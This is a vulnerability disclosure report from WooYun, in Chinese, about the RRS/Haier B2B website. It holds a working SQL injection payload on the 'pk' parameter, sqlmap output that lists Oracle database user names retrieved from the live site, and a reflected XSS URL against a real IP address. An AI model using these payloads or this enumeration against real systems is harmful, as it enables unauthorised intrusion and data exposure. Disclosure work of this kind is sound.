WooYun.org

看网站标题一会是日日顺b2b官网，一会是海尔b2b官网，把我都搞糊涂了
查了备案，确实是你们的
http://www.365rrs.com/notice/noticeDetail?pk=8796945030977

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:20:20
[14:20:21] [INFO] resuming back-end DBMS 'oracle'
[14:20:21] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: pk
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pk=8797010566977) AND 4248=4248 AND (7138=7138
---
[14:20:21] [INFO] the back-end DBMS is Oracle
web application technology: Apache 2.4.6, JSP
back-end DBMS: Oracle
[14:20:21] [INFO] fetching database users
[14:20:21] [INFO] fetching number of database users
[14:20:21] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[14:20:21] [INFO] retrieved: 34
[14:20:23] [INFO] retrieved: JYQ
[14:20:26] [INFO] retrieved: EAI
[14:20:29] [INFO] retrieved: HP_DBSPI
[14:20:41] [INFO] retrieved: HYBRIS
[14:20:49] [INFO] retrieved: SCOTT
[14:20:56] [INFO] retrieved: OWBSYS
[14:21:04] [INFO] retrieved: APEX_030200
[14:21:19] [INFO] retrieved: APEX_PUBLIC_USER
[14:21:43] [INFO] retrieved: FLOWS_FILES
[14:21:56] [INFO] retrieved: MGMT_VIEW
[14:22:08] [INFO] retrieved: SYSMAN
[14:22:15] [INFO] retrieved: SPATIAL_CSW_ADMIN_USR
[14:22:47] [INFO] retrieved: SPATIAL_WFS_ADMIN_USR
[14:23:15] [INFO] retrieved: MDDATA
[14:23:23] [INFO] retrieved: OWBSYS_AUDIT
[14:23:40] [INFO] retrieved: OLAPSYS
[14:23:50] [INFO] retrieved: MDSYS
[14:23:57] [INFO] retrieved: SI
我网速实在是太慢，加上对oracle没什么研究，其他的就不跑了
送一个反射型xss
http://218.58.70.195/brand/search?text=%27%22--%3E%3CscRipt%3Ealert%28%27xxs%27%29%3C/scRipt%3E&code=3